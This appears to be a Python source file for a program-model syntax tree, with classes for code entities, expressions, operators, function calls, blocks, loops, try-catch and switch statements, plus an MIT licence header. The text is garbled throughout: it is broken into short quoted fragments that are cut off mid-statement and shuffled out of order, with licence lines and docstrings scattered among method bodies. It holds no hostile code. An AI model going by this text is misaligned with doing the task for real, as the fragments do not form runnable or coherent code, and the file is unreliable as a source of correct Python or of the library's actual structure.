-----", "{}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1])) return pretty.format(indent, operator) def __repr__(self): \"\"\"Return a", "{}'.format(self.result, self.name) class CodeFunctionCall(CodeExpression): \"\"\"This class represents a function call.", "True self.body = CodeBlock(scope, self, explicit=False) def get_branches(self): \"\"\"Return a", "codeobj in self.arguments: if isinstance(codeobj, CodeExpression): yield codeobj def pretty_str(self,", "calls. This class is meant to be inherited from, and", "children of this object.\"\"\" if isinstance(self.value, CodeExpression): yield self.value def", "codeobj for codeobj in source() if isinstance(codeobj, cls) ] def", "tree. name (str): The name of the expression in the", "\"\"\"Constructor for catch block structures.\"\"\" CodeStatement.__init__(self, scope, parent) self.declarations =", "namespace. A namespace is a concept that is explicit in", "\"\"\"Add a child (namespace, function, variable, class) to this object.\"\"\"", "[] self.explicit = explicit def statement(self, i): \"\"\"Return the *i*-th", "self.writes = [] @property def is_definition(self): return True @property def", "= name self.members = [] self.superclasses = [] self.member_of =", "def function(self): \"\"\"The function where this expression occurs.\"\"\" return self._lookup_parent(CodeFunction)", "another class (inner class), it should have its `member_of` set", "(variable) to this object.\"\"\" assert isinstance(codeobj, CodeVariable) self.variables.append(codeobj) def _children(self):", "= None self.increment = None def _set_declarations(self, declarations): \"\"\"Set declarations", "IndexError('statement index out of range') def statement_after(self, i): \"\"\"Return the", "name, a return type (`result`), a list of parameters and", "this object.\"\"\" # The default implementation has no children, and", "tuple of its arguments and a reference to the called", "use as indentation. \"\"\" spaces = ' ' * indent", "a namespace. \"\"\" return isinstance(self.scope, (CodeGlobalScope, CodeNamespace)) @property def is_parameter(self):", "ternary operator.\"\"\" return len(self.arguments) == 3 @property def is_assignment(self): \"\"\"Whether", "declarations): \"\"\"Set declarations local to this catch block.\"\"\" assert isinstance(declarations,", "Software without restriction, including without limitation the rights #to use,", "Do note that assignments are often considered expressions, and, as", "The name of the function in the program. result (str):", "is_member(self): \"\"\"Whether this is a member/attribute of a class or", "\"\"\"Constructor for a compound literal. Args: scope (CodeEntity): The program", "is a unary operator.\"\"\" return len(self.arguments) == 1 @property def", "def __repr__(self): \"\"\"Return a string representation of this object.\"\"\" if", "multiple program statements together (e.g. functions, code blocks). It is", "object.\"\"\" return '[unknown]' class CodeStatementGroup(object): \"\"\"This class is meant to", "CodeVariable, CodeClass)) self.members.append(codeobj) codeobj.member_of = self def _children(self): \"\"\"Yield all", "functions. Args: scope (CodeEntity): The program scope where this object", "is a valid construct.\"\"\" return True def _children(self): \"\"\"Yield all", "to the object on which a method is being called.", "] def _afterpass(self): \"\"\"Finalizes the construction of a code entity.\"\"\"", "declares at least one branch (*cases*) that execute when the", "representation of this object.\"\"\" return str(self.variables) class CodeControlFlow(CodeStatement, CodeStatementGroup): \"\"\"Base", "object's parent in the program tree. \"\"\" CodeStatement.__init__(self, scope, parent)", "program. result (str): The type of the variable in the", "codeobj): \"\"\"Set the object that contains the attribute this is", "(' ' * indent) + '(' + self.name + ')'", "enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, 'literal', result, paren)", "CodeBlock(scope, self, explicit=True) def _set_body(self, body): \"\"\"Set the main body", "isinstance(body, CodeBlock) self.body = body def _add_catch(self, catch_block): \"\"\"Add a", "class represents a switch statement. A switch evaluates a value", "body): \"\"\"Set the main body for this control flow structure.\"\"\"", "statement where this expression occurs.\"\"\" return self._lookup_parent(CodeStatement) def pretty_str(self, indent=0):", "basestring, CodeLiteral) class CodeNull(CodeLiteral): \"\"\"This class represents an indefinite value.", "< 0 and i >= -n: if i >= o", "len(self.else_body) if i >= 0 and i < n: if", "`None` for variables without a value or when the value", "*i*-th statement from the object's `body`.\"\"\" return self.body.statement(i) def statement_after(self,", "return (' ' * indent) + '[empty]' def __repr__(self): \"\"\"Return", "null literals. Args: scope (CodeEntity): The program scope where this", "object.\"\"\" assert isinstance(codeobj, (CodeStatement, CodeExpression)) self.body._add(codeobj) def _children(self): \"\"\"Yield all", "+ self.__str__() def ast_str(self, indent=0): \"\"\"Return a minimal string to", "else '{}{}' if self.is_unary: operator = self.name + pretty_str(self.arguments[0]) else:", "built. \"\"\" for codeobj in self.children: codeobj._afterpass() def pretty_str(self, indent=0):", "declaration statement. Some languages, such as C, C++ or Java,", "self.body: yield codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "own. A common example is the assignment operator, which can", "exceptions. Some languages also allow a `finally` block that is", "A namespace typically has a name and a list of", "name of the control flow statement in the program. \"\"\"", "class CodeReference(CodeExpression): \"\"\"This class represents a reference expression (e.g. to", "operator.\"\"\" return self.name == \"=\" def _add(self, codeobj): \"\"\"Add a", "\"\"\"Whether this is a member/attribute of a class or object.\"\"\"", "return [self.then_branch] def _add_default_branch(self, body): \"\"\"Add a default body for", "class constructor.\"\"\" return self.member_of is not None def _add(self, codeobj):", "float, bool, basestring, SomeValue, CodeLiteral, CodeExpression) CodeExpression.LITERALS = (int, long,", "a list of members (variables, functions), a list of superclasses,", "of a given class. Args: cls (class): The class to", "_set_body(self, body): \"\"\"Set the main body for this control flow", "control flow structure.\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.body", "Kwargs: indent (int): The number of indentation levels. \"\"\" line", "(CodeEntity): This object's parent in the program tree. Kwargs: expression", "to such object, instead of `None`. \"\"\" def __init__(self, scope,", "as indentation. \"\"\" return (' ' * indent) + self.__str__()", "result, paren) self.arguments = args or () @property def is_unary(self):", "[self.then_branch] def _add_default_branch(self, body): \"\"\"Add a default body for this", "for conditionals. Args: scope (CodeEntity): The program scope where this", "binary, and often return numbers or booleans. Some languages also", "human-readable string representation of this object. Kwargs: indent (int): The", "all direct children of this object.\"\"\" if isinstance(self.value, CodeExpression): yield", "a string representation of this object.\"\"\" return '{} {}'.format(self.name, self.get_branches())", "object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.arguments = self.arguments + (codeobj,) def", "(CodeEntity): This object's parent in the program tree. id: An", "assert isinstance(body, CodeBlock) self.body = body def _add_catch(self, catch_block): \"\"\"Add", "diverse primitive types.\"\"\" def __init__(self, result): \"\"\"Constructor for unknown values.\"\"\"", "condition is met). Specific implementations may consider more branches, or", "only a single branch, its condition plus the body that", "as a class, or non-existent. A namespace typically has a", "(CodeEntity): This object's parent in the program tree. \"\"\" CodeStatement.__init__(self,", "from this object, going down.\"\"\" yield self for child in", "statement of this block.\"\"\" return self.body[i] def _add(self, codeobj): \"\"\"Add", "[] def _add(self, codeobj): \"\"\"Add a child (variable) to this", "= None self.line = None self.column = None def walk_preorder(self):", "sequence in this composition. result (str): The return type of", "string representation of this object.\"\"\" return '[class {}]'.format(self.name) class CodeNamespace(CodeEntity):", "of this object.\"\"\" return 'try {} {} {}'.format(self.body, self.catches, self.finally_body)", "return '[{}] {!r}'.format(self.result, self.value) CodeExpression.TYPES = (int, long, float, bool,", "branch.\"\"\" if self.else_branch: return [self.then_branch, self.else_branch] return [self.then_branch] def _add_default_branch(self,", "return self.statement(i) def __len__(self): \"\"\"Return the length of the statement", "classes). \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor for namespaces.", "' * indent pretty = spaces + 'class ' +", "classes. Args: scope (CodeEntity): The program scope where this object", "languages, statements must be contained within a function. An operator", "self._children return [ codeobj for codeobj in source() if isinstance(codeobj,", "etc.). Blocks are little more than collections of statements, while", "isinstance(body, CodeBlock): self.body = body else: self.body._add(body) def _children(self): \"\"\"Yield", "is self @property def is_constructor(self): \"\"\"Whether this function is a", "amount of spaces to use as indentation. \"\"\" return pretty_str(self.expression,", "program tree starting from this object, going down.\"\"\" yield self", "this object.\"\"\" assert isinstance(codeobj, CodeStatement) codeobj._si = len(self.body) self.body.append(codeobj) def", "\"\"\"Base class for program statements. Programming languages often define diverse", "isinstance(body, CodeBlock) self.body = body def _children(self): \"\"\"Yield all direct", "isinstance(codeobj.arguments[0], CodeReference): var = codeobj.arguments[0].reference if isinstance(var, CodeVariable): var.writes.append(codeobj) def", "(\"+\", \"-\", \"*\", \"/\", \"%\", \"<\", \">\", \"<=\", \">=\", \"==\",", "one branch (a boolean condition and a `CodeBlock` that is", "def statement(self, i): \"\"\"Return the *i*-th statement from the object's", "def _add(self, codeobj): \"\"\"Add a child (value) to this object.\"\"\"", "this object. \"\"\" def __init__(self, scope, parent): \"\"\"Base constructor for", "\"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR #IMPLIED,", "a try-catch block.\"\"\" def __init__(self, scope, parent): \"\"\"Constructor for catch", "(a boolean condition and a `CodeBlock` that is executed when", "_set_declarations(self, declarations): \"\"\"Set declarations local to this loop (e.g. `for`", "elif self.is_constructor: call = 'new {}({})'.format(self.name, args) else: call =", "name): \"\"\"Constructor for loops. Args: scope (CodeEntity): The program scope", "to the following conditions: #The above copyright notice and this", "in the program tree. Kwargs: paren (bool): Whether the null", "the programmer. This class represents such omitted arguments. A default", "+ 1) except IndexError as e: return None def __getitem__(self,", "CodeCatchBlock(CodeStatement, CodeStatementGroup): \"\"\"Helper class for catch statements within a try-catch", "else: pretty = '{}{} {}({}):\\n'.format(spaces, self.result, self.name, params) if self._definition", "= body else: self.body._add(body) def _children(self): \"\"\"Yield all direct children", "return type, a tuple of its arguments and a reference", "blocks. Args: scope (CodeEntity): The program scope where this object", "(codeobj,) def _set_method(self, codeobj): \"\"\"Set the object on which a", "the program tree. result (str): The return type of the", "result, paren) self.value = value def pretty_str(self, indent=0): \"\"\"Return a", "params) class CodeClass(CodeEntity): \"\"\"This class represents a program class for", "(e.g. to a variable). A reference typically has a name", "indentation. \"\"\" spaces = ' ' * indent decls =", "An unique identifier for this variable. name (str): The name", "isinstance(self.scope, CodeClass) def _add(self, codeobj): \"\"\"Add a child (value) to", "block structure.\"\"\" assert isinstance(body, CodeBlock) self.finally_body = body def _children(self):", "has a name (e.g. the name of the function in", "parent (CodeEntity): This object's parent in the program tree. value", "objects. This should only be called after the object is", "SomeValue, CodeLiteral, CodeExpression) CodeExpression.LITERALS = (int, long, float, bool, basestring,", "an object. Uses `pretty_str` if the given value is an", "_validity_check(self): \"\"\"Check whether this object is a valid construct.\"\"\" return", "\"\"\"Add a child (argument) to this object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES)", "of condition and respective body.\"\"\" return [(self.condition, self.body)] def _set_condition(self,", "is the assignment operator, which can be a statement on", "children of this object.\"\"\" if self.method_of: yield self.method_of for codeobj", "a name, a type (`result`) and a value (or `None`", "function. A function typically has a name, a return type", "string representation of an object. Uses `pretty_str` if the given", "return pretty.format(indent, call) def __repr__(self): \"\"\"Return a string representation of", "if hasattr(self, '_fi'): return fi = 0 for codeobj in", "scope of a program. The global scope is the root", "program. \"\"\" CodeStatement.__init__(self, scope, parent) self.name = name self.value =", "@property def is_global(self): \"\"\"Whether this is a global variable. In", "= SomeValue(\"float\") SomeValue.CHARACTER = SomeValue(\"char\") SomeValue.STRING = SomeValue(\"string\") SomeValue.BOOL =", "Blocks are little more than collections of statements, while being", "a name, an unique `id`, a list of members (variables,", "#copies of the Software, and to permit persons to whom", "\"\"\"Set the object on which a method is called.\"\"\" assert", "children of this object.\"\"\" if self.declarations: yield self.declarations if isinstance(self.condition,", "self.name) if self.field_of else self.name) return pretty.format(spaces, name) def __str__(self):", "this object.\"\"\" assert isinstance(codeobj, (CodeNamespace, CodeClass, CodeFunction, CodeVariable)) self.children.append(codeobj) def", "is_unary(self): \"\"\"Whether this is a unary operator.\"\"\" return len(self.arguments) ==", "representation of this object.\"\"\" return str(self.body) class CodeDeclaration(CodeStatement): \"\"\"This class", "should be a module. In Java, it may be the", "program. Kwargs: paren (bool): Whether the literal is enclosed in", "'{}{}' args = ', '.join(map(pretty_str, self.arguments)) if self.method_of: call =", "return iter(()) def _lookup_parent(self, cls): \"\"\"Lookup a transitive parent object", "this is a unary operator.\"\"\" return len(self.arguments) == 1 @property", "included here. An operator typically has a name (its token),", "defines the length of a statement group, and provides methods", "indentation. \"\"\" return pretty_str(self.expression, indent=indent) def __repr__(self): \"\"\"Return a string", "representation of this object.\"\"\" return '[{}] {} = ({})'.format(self.result, self.name,", "purposes. \"\"\" # ----- This code is just to avoid", "if isinstance(var, CodeVariable): var.writes.append(codeobj) def pretty_str(self, indent=0): \"\"\"Return a human-readable", "cls): \"\"\"Lookup a transitive parent object that is an instance", "direct children of this object.\"\"\" for codeobj in self.parameters: yield", "'[{}] {}'.format(self.result, self.name) class CodeFunctionCall(CodeExpression): \"\"\"This class represents a function", "evaluates a value (its `condition`) and then declares at least", "yield codeobj def _afterpass(self): \"\"\"Assign a function-local index to each", "self.parent = parent self.file = None self.line = None self.column", "return '[{}] ({}).{}'.format(self.result, self.field_of, self.name) return '[{}] #{}'.format(self.result, self.name) class", "parent, expression=None): \"\"\"Constructor for expression statements. Args: scope (CodeEntity): The", "object.\"\"\" if self.field_of: return '[{}] ({}).{}'.format(self.result, self.field_of, self.name) return '[{}]", "value to the sequence in this composition.\"\"\" self.value.append(child) def _children(self):", "`finally` block that is executed after the other blocks (either", "on their own. A common example is the assignment operator,", "object's parent in the program tree. name (str): The name", "body. \"\"\" def __init__(self, scope, parent, explicit=True): \"\"\"Constructor for code", "CodeExpression.__init__(self, scope, parent, name, result, paren) self.full_name = name self.arguments", "larger expression. \"\"\" def __init__(self, scope, parent, expression=None): \"\"\"Constructor for", "the following conditions: #The above copyright notice and this permission", "the length of the statement group.\"\"\" return len(self.body) # -----", "def is_definition(self): \"\"\"Whether this is a definition or a declaration", "2017 <NAME> # #Permission is hereby granted, free of charge,", "expression is enclosed in parentheses. \"\"\" CodeEntity.__init__(self, scope, parent) self.name", "in the program tree. \"\"\" self.scope = scope self.parent =", "object.\"\"\" assert isinstance(codeobj, CodeExpression.TYPES) self.value = codeobj def _children(self): \"\"\"Yield", "conditions: #The above copyright notice and this permission notice shall", "WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING", "not codeobj.is_definition: if not codeobj._definition is None: codeobj._definition.member_of = self", "object's parent in the program tree. \"\"\" CodeEntity.__init__(self, scope, parent)", "\"\"\"Constructor for loops. Args: scope (CodeEntity): The program scope where", "' ' * indent condition = pretty_str(self.condition) pretty = '{}if", "self: pretty += spaces + ' [declaration]' else: pretty +=", "(bool): Whether the expression is enclosed in parentheses. \"\"\" CodeEntity.__init__(self,", "and a list of statements that write new values to", "is a binary operator.\"\"\" return len(self.arguments) == 2 @property def", "(e.g. `while`, `for`). Some languages allow loops to define local", "result) # ----- Statement Entities ---------------------------------------------------- class CodeStatement(CodeEntity): \"\"\"Base class", "implementation has no children, and thus should return # an", "CodeExpression(CodeEntity): \"\"\"Base class for expressions within a program. Expressions can", "could be enclosed in parentheses. It does not have a", "\"\"\"This class is meant to provide common utility methods for", "return codeobj def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation", "use as indentation. \"\"\" if isinstance(something, CodeEntity): return something.pretty_str(indent=indent) else:", "string representation of this object.\"\"\" return '[{}] {}'.format(self.result, self.name) class", "pretty = '{}catch ({}):\\n{}'.format(spaces, decls, body) return pretty ############################################################################### #", "of this object.\"\"\" if isinstance(self.declarations, CodeStatement): yield self.declarations for codeobj", "n += sum(map(len, self.catches)) return n def __repr__(self): \"\"\"Return a", "is a *member*/*field*/*attribute* of an object, `member_of` should contain a", "given that the variable is not one of the function's", "'{}({})'.format(indent, values) return '{}{}'.format(indent, values) def __repr__(self): \"\"\"Return a string", "(int): The number of indentation levels. \"\"\" line = self.line", "a value to the sequence in this composition.\"\"\" self.value.append(child) def", "pretty_str(self.value, indent=indent) def __repr__(self): \"\"\"Return a string representation of this", "one. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor for conditionals. Args:", "object.\"\"\" for codeobj in self.body: yield codeobj def pretty_str(self, indent=0):", "children of this object.\"\"\" for codeobj in self.variables: yield codeobj", "for program statements. Programming languages often define diverse types of", "'{}switch ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2) return pretty", "the block is explicit in the code. \"\"\" CodeStatement.__init__(self, scope,", "This object's parent in the program tree. \"\"\" CodeStatement.__init__(self, scope,", "object.\"\"\" if isinstance(self.declarations, CodeStatement): yield self.declarations for codeobj in self.body._children():", "self.parenthesis: return '{}({})'.format(' ' * indent, pretty_str(self.value)) return pretty_str(self.value, indent=indent)", "self.name, self.arguments[0]) if self.is_binary: return '[{}] ({}){}({})'.format(self.result, self.arguments[0], self.name, self.arguments[1])", "\"\"\"Set the increment statement for this loop (e.g. in a", "SHALL THE #AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY", "this object.\"\"\" for codeobj in self.members: yield codeobj def _afterpass(self):", "allow loops to define local declarations, as well as an", "its `member_of` should be set to the corresponding class. \"\"\"", "\"\"\"Set the finally body for try block structure.\"\"\" assert isinstance(body,", "this object.\"\"\" return '[{}] {} = ({})'.format(self.result, self.name, self.value) class", "represents a default argument. Some languages, such as C++, allow", "'{}catch ({}):\\n{}'.format(spaces, decls, body) return pretty ############################################################################### # Helpers ###############################################################################", "class CodeDeclaration(CodeStatement): \"\"\"This class represents a declaration statement. Some languages,", "child (statement) to this object.\"\"\" assert isinstance(codeobj, (CodeStatement, CodeExpression)) self.body._add(codeobj)", "self.body._add(body) def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "It may also have a default branch. Switches are often", "'{}({})' if self.parenthesis else '{}{}' if self.is_unary: operator = self.name", "a string representation of this object.\"\"\" return str(self.body) class CodeDeclaration(CodeStatement):", "C/C++ NULL pointers, Python None and so on. \"\"\" def", "return 'catch ({}) {}'.format(self.declarations, self.body) def pretty_str(self, indent=0): \"\"\"Return a", "CodeBlock) self.body = body def _children(self): \"\"\"Yield all direct children", "object, that is no children. This class inherits from CodeLiteral", "\"\"\" spaces = ' ' * indent condition = pretty_str(self.condition)", "\"\"\"Base constructor for code objects. Args: scope (CodeEntity): The program", "a composite literal. A composite literal is any type of", "for declaration statements. Args: scope (CodeEntity): The program scope where", "and the default branch.\"\"\" if self.else_branch: return [self.then_branch, self.else_branch] return", "CodeVariable) self.variables.append(codeobj) def _children(self): \"\"\"Yield all direct children of this", "indent=0): \"\"\"Return a minimal string to print a tree-like structure.", "call typically has a name (of the called function), a", "`member_of` of child members and call their `_afterpass()`. This should", "is a definition or a declaration of the class.\"\"\" return", "tree. name (str): The name of the function in the", "isinstance(condition, CodeExpression.TYPES) self.condition = condition def _set_body(self, body): \"\"\"Set the", "of arguments. paren (bool): Whether the expression is enclosed in", "self._si = -1 @property def function(self): \"\"\"The function where this", "functions always have a block as their body. \"\"\" def", "such as C++, but less explicit in many others. In", "is *global* if it is declared directly under the program's", "i): \"\"\"Return the *i*-th statement of this block.\"\"\" return self.body[i]", "'{}({})'.format(' ' * indent, pretty_str(self.value)) return pretty_str(self.value, indent=indent) def __repr__(self):", "statements. Args: scope (CodeEntity): The program scope where this object", "defined within another class (inner class), it should have its", "else '{}{}' name = ('{}.{}'.format(self.field_of.pretty_str(), self.name) if self.field_of else self.name)", "self.body.pretty_str(indent=indent + 2) return pretty class CodeTryBlock(CodeStatement, CodeStatementGroup): \"\"\"This class", "than collections of statements, while being considered a statement themselves.", "statements together (e.g. functions, code blocks). It is not meant", "isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope = self.body def _set_body(self,", "(\"+\", \"-\") _BINARY_TOKENS = (\"+\", \"-\", \"*\", \"/\", \"%\", \"<\",", "representation of this object.\"\"\" params = ', '.join(map(str, self.parameters)) return", "indent values = '{{{}}}'.format(', '.join(map(pretty_str, self.value))) if self.parenthesis: return '{}({})'.format(indent,", "functions or classes). \"\"\" def __init__(self, scope, parent, name): \"\"\"Constructor", "condition) pretty += self.body.pretty_str(indent=indent + 2) return pretty class CodeTryBlock(CodeStatement,", "a value or when the value is unknown). Additionally, a", "self.name) return pretty.format(spaces, name) def __str__(self): \"\"\"Return a string representation", "The return type of the operator in the program. Kwargs:", "self.name = name self.members = [] self.superclasses = [] self.member_of", "pretty = '{}if ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2)", "* indent values = '{{{}}}'.format(', '.join(map(pretty_str, self.value))) if self.parenthesis: return", "self.body def _children(self): \"\"\"Yield all direct children of this object.\"\"\"", "reference of.\"\"\" assert isinstance(codeobj, CodeExpression) self.field_of = codeobj def _children(self):", "as indentation. \"\"\" spaces = ' ' * indent return", "(function, variable, class) to this object.\"\"\" assert isinstance(codeobj, (CodeFunction, CodeVariable,", "scope, parent, name, result, paren=False): \"\"\"Constructor for expressions. Args: scope", "assert isinstance(codeobj, CodeExpression) self.field_of = codeobj def _children(self): \"\"\"Yield all", "all direct children of this object.\"\"\" for value in self.value:", "def __len__(self): \"\"\"Return the length of the statement group.\"\"\" return", "(str): The type of the variable in the program. \"\"\"", "'[unknown]' class CodeStatementGroup(object): \"\"\"This class is meant to provide common", "hasattr(self, '_fi'): return fi = 0 for codeobj in self.walk_preorder():", "return type of the expression in the program. Kwargs: paren", "own version of this concept: Java has null references, C/C++", "reference is enclosed in parentheses. \"\"\" CodeExpression.__init__(self, scope, parent, name,", "do so, subject to the following conditions: #The above copyright", "def _children(self): \"\"\"Yield all direct children of this object.\"\"\" for", "= '{} {} {}'.format(pretty_str(self.arguments[0]), self.name, pretty_str(self.arguments[1])) return pretty.format(indent, operator) def", "the reference in the program. result (str): The return type", "type, and a tuple of its arguments. \"\"\" def __init__(self,", "This class represents such omitted arguments. A default argument has", "branch).\"\"\" assert isinstance(body, CodeStatement) if isinstance(body, CodeBlock): self.else_body = body", "return len(self.arguments) == 2 @property def is_ternary(self): \"\"\"Whether this is", "recursive (bool): Whether to descend recursively down the tree. \"\"\"", "program. Kwargs: args (tuple): Initial tuple of arguments. paren (bool):", "index out of range') def statement_after(self, i): \"\"\"Return the statement", "types of statements (e.g. return statements, control flow, etc.). This", "\"\"\"The function where this statement appears in.\"\"\" return self._lookup_parent(CodeFunction) class", "of the variable in the program. \"\"\" CodeEntity.__init__(self, scope, parent)", "this catch block.\"\"\" assert isinstance(declarations, CodeStatement) self.declarations = declarations declarations.scope", "yield self.method_of for codeobj in self.arguments: if isinstance(codeobj, CodeExpression): yield", "assert isinstance(catch_block, self.CodeCatchBlock) self.catches.append(catch_block) def _set_finally_body(self, body): \"\"\"Set the finally", "try-catch block statement. `try` blocks have a main body of", "string representation of this object.\"\"\" if self.is_unary: return '[{}] {}({})'.format(self.result,", "type of the operator in the program. Kwargs: args (tuple):", "explicit (bool): Whether the block is explicit in the code.", "The class to use as a filter. Kwargs: recursive (bool):", "expression. \"\"\" def __init__(self, scope, parent, expression=None): \"\"\"Constructor for expression", "as e: return None def __getitem__(self, i): \"\"\"Return the *i*-th", "namespace. \"\"\" return isinstance(self.scope, (CodeGlobalScope, CodeNamespace)) @property def is_parameter(self): \"\"\"Whether", "general, a variable is *global* if it is declared directly", "object.\"\"\" return '[{}] {}'.format(self.result, self.name) class SomeValue(CodeExpression): \"\"\"This class represents", "the `try` block, or a `catch` block, when an exception", "index to each child object and register write operations to", "codeobj def _afterpass(self): \"\"\"Assign a function-local index to each child", "None self.member_of = None self.references = [] self.writes = []", "@property def is_constructor(self): \"\"\"Whether the called function is a constructor.\"\"\"", "= self.walk_preorder if recursive else self._children return [ codeobj for", "As literals have no name, a constant string is used", "self.catches = [] self.finally_body = CodeBlock(scope, self, explicit=True) def _set_body(self,", "return '#' + self.name def __repr__(self): \"\"\"Return a string representation", "self.scope.parameters) @property def is_member(self): \"\"\"Whether this is a member/attribute of", "local to this loop (e.g. `for` variables).\"\"\" assert isinstance(declarations, CodeStatement)", "the called function), a return type, a tuple of its", "CodeExpression) self.field_of = codeobj def _children(self): \"\"\"Yield all direct children", "' * indent params = ', '.join(map(lambda p: p.result +", "= CodeBlock(scope, self, explicit=True) self.catches = [] self.finally_body = CodeBlock(scope,", "the program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.variables = []", "as `[1, 2, 3]`. A composite literal has a sequence", "v in self.variables) def __repr__(self): \"\"\"Return a string representation of", "to this object.\"\"\" assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass)) self.members.append(codeobj) codeobj.member_of", "pretty += '\\n\\n'.join( c.pretty_str(indent + 2) for c in self.members", "the object is fully built. \"\"\" if hasattr(self, '_fi'): return", "a body (a code block). It also has an unique", "for descendant in child.walk_preorder(): yield descendant def filter(self, cls, recursive=False):", "\"\"\" indent = ' ' * indent if self.value is", "fully built. \"\"\" for codeobj in self.members: if not codeobj.is_definition:", "boolean condition and a `CodeBlock` that is executed when the", "(CodeEntity): This object's parent in the program tree. \"\"\" CodeControlFlow.__init__(self,", "in the program tree. \"\"\" CodeStatement.__init__(self, scope, parent) self.variables =", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" return 'try", "return type of the literal in the program. Kwargs: paren", "is a concept that is explicit in languages such as", "indent=0): \"\"\"Return a human-readable string representation of this object. Kwargs:", "Uses `pretty_str` if the given value is an instance of", "<gh_stars>0 #Copyright (c) 2017 <NAME> # #Permission is hereby granted,", "(as if using a list). \"\"\" def statement(self, i): \"\"\"Return", "amount of spaces to use as indentation. \"\"\" return '{}{}", "fi fi += 1 if isinstance(codeobj, CodeOperator) and codeobj.is_assignment: if", "the Software, and to permit persons to whom the Software", "SomeValue.CHARACTER = SomeValue(\"char\") SomeValue.STRING = SomeValue(\"string\") SomeValue.BOOL = SomeValue(\"bool\") class", "#furnished to do so, subject to the following conditions: #The", "var.writes.append(codeobj) def pretty_str(self, indent=0): \"\"\"Return a human-readable string representation of", "pretty_str(self.condition) pretty = '{}if ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent +", "represents a switch statement. A switch evaluates a value (its", "of references to it. If a function is a method", "the program tree. Kwargs: expression (CodeExpression): The expression of this", "object, instead of `None`. \"\"\" def __init__(self, scope, parent, id,", "if self.field_of: yield self.field_of def pretty_str(self, indent=0): \"\"\"Return a human-readable", "' ' * indent pretty = spaces + 'class '", "regular blocks. Multiple `catch` blocks may be defined to handle", "0 and i >= -n: if i >= o -", "enclosed in parentheses. \"\"\" def __init__(self, scope, parent, result, value=(),", "variable. In general, a variable is *local* if its containing", "statement after the *i*-th one, or `None`.\"\"\" k = i", "statement for this loop (e.g. in a `for`).\"\"\" assert isinstance(statement,", "codeobj.member_of = self def _children(self): \"\"\"Yield all direct children of", "args) return pretty.format(indent, call) def __repr__(self): \"\"\"Return a string representation", "CodeExpression): yield self.expression def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "values = '{{{}}}'.format(', '.join(map(pretty_str, self.value))) if self.parenthesis: return '{}({})'.format(indent, values)", "id_ self.name = name self.members = [] self.superclasses = []", "{} = {}'.format(' ' * indent, self.result, self.name, pretty_str(self.value)) def", "scope, parent) self.name = name self.children = [] def _add(self,", "CodeStatement.__init__(self, scope, parent) self.body = CodeBlock(scope, self, explicit=True) self.catches =", "this object.\"\"\" if self.is_unary: return '[{}] {}({})'.format(self.result, self.name, self.arguments[0]) if", "code blocks). It is not meant to be instantiated directly,", "#all copies or substantial portions of the Software. #THE SOFTWARE", "\"\"\" def __init__(self, scope, parent, explicit=True): \"\"\"Constructor for code blocks.", "not None: return '{} {}'.format(self.name, str(self.value)) return self.name class CodeExpressionStatement(CodeStatement):", "pretty += self.finally_body.pretty_str(indent=indent + 2) return pretty class CodeCatchBlock(CodeStatement, CodeStatementGroup):", "`None`.\"\"\" k = i + 1 o = len(self.body) n", "def statement(self, i): \"\"\"Return the *i*-th statement of this block.", "self.field_of = None self.reference = None def _set_field(self, codeobj): \"\"\"Set", "+= sum(map(len, self.catches)) return n def __repr__(self): \"\"\"Return a string", "all direct children of this object.\"\"\" for codeobj in self.members:", "self.field_of else self.name) return pretty.format(spaces, name) def __str__(self): \"\"\"Return a", "explicit in the code. \"\"\" CodeStatement.__init__(self, scope, parent) self.body =", "only be called after the object is fully built. \"\"\"", "a class or object.\"\"\" return isinstance(self.scope, CodeClass) def _add(self, codeobj):", "= [] self.member_of = None self.references = [] self._definition =", "\"\"\"Return the *i*-th statement of this block. Behaves as if", "= '{}if ({}):\\n'.format(spaces, condition) pretty += self.body.pretty_str(indent=indent + 2) if", "string representation of this object.\"\"\" return str(self.body) class CodeDeclaration(CodeStatement): \"\"\"This", "integer-based indexing of program statements (as if using a list).", "have a default branch. Switches are often one of the", "object.\"\"\" for codeobj in self.children: yield codeobj def _afterpass(self): \"\"\"Call", "no children, and thus should return # an empty iterator.", "IN NO EVENT SHALL THE #AUTHORS OR COPYRIGHT HOLDERS BE", "len(self.body) + len(self.catches) + len(self.finally_body) n += sum(map(len, self.catches)) return", "is_parameter(self): \"\"\"Whether this is a function parameter.\"\"\" return (isinstance(self.scope, CodeFunction)", "name (str): The name of the class in the program.", "self not in self.scope.parameters)) @property def is_global(self): \"\"\"Whether this is", "{}'.format(self.body, self.catches, self.finally_body) def pretty_str(self, indent=0): \"\"\"Return a human-readable string", "charge, to any person obtaining a copy #of this software", "__repr__(self): \"\"\"Return a string representation of this object.\"\"\" if self.is_unary:", "'[{}] {}.{}({})'.format(self.result, self.method_of.name, self.name, args) return '[{}] {}({})'.format(self.result, self.name, args)", "`None`.\"\"\" try: return self.statement(i + 1) except IndexError as e:", "scope is a statement (e.g. a block), or a function,", "besides its mandatory one. \"\"\" def __init__(self, scope, parent): \"\"\"Constructor", "n: return self.else_body.statement(k) return None def get_branches(self): \"\"\"Return a list", "def __repr__(self): \"\"\"Return a string representation of this object.\"\"\" return", "of this object.\"\"\" if self.declarations: yield self.declarations if isinstance(self.condition, CodeExpression):", "(e.g. a list `[1, 2, 3]`) and a type (`result`),", "as C++, allow function parameters to have default values when", "a string representation of this object.\"\"\" params = ', '.join(map(str,", "the main body for this control flow structure.\"\"\" assert 